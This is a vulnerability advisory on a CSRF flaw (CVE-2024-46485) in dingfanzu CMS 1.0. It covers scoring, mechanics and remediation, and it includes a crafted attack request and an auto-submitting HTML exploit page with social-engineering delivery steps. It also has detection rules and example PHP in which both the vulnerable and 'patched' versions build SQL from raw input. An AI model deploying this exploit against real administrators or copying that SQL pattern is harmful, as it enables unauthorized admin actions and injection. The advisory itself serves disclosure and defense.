CVE-2024-46485

Executive Summary

CVE-2024-46485 is a Cross-Site Request Forgery (CSRF) vulnerability in dingfanzu CMS 1.0, specifically in the /admin/doAdminAction.php?act=addCate endpoint. An attacker can trick an authenticated administrator into unknowingly executing actions (e.g., adding a new category) by crafting a malicious link or form. The vulnerability has a CVSS v3.1 base score of 8.8 (High) due to the potential for privilege escalation and data manipulation. No official patch has been released, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This is a custom PHP CMS, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or submit a form
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although EPSS is low, the lack of a patch and the simplicity of exploitation make this a significant risk for any deployment of dingfanzu CMS 1.0.

Deep Dive & Mechanics

The vulnerability resides in the doAdminAction.php script, which handles administrative actions. The addCate action does not implement any CSRF token or origin validation. An attacker can craft a request like:

POST /admin/doAdminAction.php?act=addCate HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cate_name=MaliciousCategory&cate_desc=Hacked

If an authenticated admin visits a malicious page, the browser automatically sends the session cookie, and the request is processed as if initiated by the admin. This can lead to unauthorized category creation, which may be used for further attacks (e.g., stored XSS, privilege escalation).

Root Cause: Missing CSRF protection (no token, no SameSite cookie attribute, no Referer/Origin check).

Vulnerable vs. Patched Code

Vulnerable Code (dingfanzu CMS 1.0):

// /admin/doAdminAction.php (simplified)
if ($_GET['act'] == 'addCate') {
    $cate_name = $_POST['cate_name'];
    $cate_desc = $_POST['cate_desc'];
    $sql = "INSERT INTO categories (name, description) VALUES ('$cate_name', '$cate_desc')";
    mysqli_query($conn, $sql);
}

Patched Code (hypothetical):

// /admin/doAdminAction.php (patched)
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF token validation failed.");
}
if ($_GET['act'] == 'addCate') {
    $cate_name = mysqli_real_escape_string($conn, $_POST['cate_name']);
    $cate_desc = mysqli_real_escape_string($conn, $_POST['cate_desc']);
    $sql = "INSERT INTO categories (name, description) VALUES ('$cate_name', '$cate_desc')";
    mysqli_query($conn, $sql);
}

The patch adds CSRF token validation and input sanitization (though the latter is not strictly required for CSRF, it is good practice).

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of dingfanzu CMS 1.0 with an authenticated admin session.
• Attacker-controlled web server or ability to inject HTML/JavaScript.

Exploit Steps:

1. Host the following HTML page on an attacker-controlled server:

<!DOCTYPE html>
<html>
<body>
<form action="http://target.com/admin/doAdminAction.php?act=addCate" method="POST" id="csrf_form">
    <input type="hidden" name="cate_name" value="HackedCategory">
    <input type="hidden" name="cate_desc" value="Compromised">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

2. Send the link to the authenticated admin (e.g., via email, social engineering).
3. When the admin visits the page, the form auto-submits, creating a new category.

Advanced Variant (XSS + CSRF): If the admin can be tricked into visiting a page with stored XSS, the XSS payload can silently perform multiple CSRF actions.

Blue Team

Detection:

• Monitor for unexpected POST requests to /admin/doAdminAction.php?act=addCate from unusual referrers.
• Look for rapid creation of categories or other admin actions without corresponding UI interaction.
• Check server logs for Referer headers that do not match the legitimate admin domain.

Prevention:

• Implement CSRF tokens (as shown in the patched code).
• Set SameSite=Strict or SameSite=Lax on session cookies.
• Validate Origin and Referer headers.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/doAdminAction.php?act=addCate with unexpected Referer headers.
  • Repeated creation of categories with suspicious names (e.g., "HackedCategory", "test123").
• File System:
  • Unexpected entries in the categories database table.
• Logs:
  • Web server access logs showing POST /admin/doAdminAction.php?act=addCate from IPs not in the admin's usual range.

Detection Engineering

YARA Rule

rule CVE_2024_46485_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against dingfanzu CMS 1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-46485"
    strings:
        $csrf_endpoint = "/admin/doAdminAction.php?act=addCate"
        $post_method = "POST"
        $cate_name = "cate_name="
        $cate_desc = "cate_desc="
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against dingfanzu CMS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting the addCate action in dingfanzu CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/admin/doAdminAction.php?act=addCate"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46485 CSRF Exploit Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/doAdminAction.php?act=addCate"; http.client_body; content:"cate_name="; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block access to /admin/doAdminAction.php via web server configuration (e.g., .htaccess).
2. Implement CSRF protection manually:
   • Add a CSRF token to the admin session and validate it on every state-changing request.
   • Set SameSite=Strict on session cookies.
3. Restrict admin access to trusted IPs or VPN only.

Long-Term:

• Migrate to a supported CMS or apply a community patch if available.
• Conduct a full security audit of the CMS codebase.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /admin/doAdminAction.php with unexpected Referer headers.

Valters IT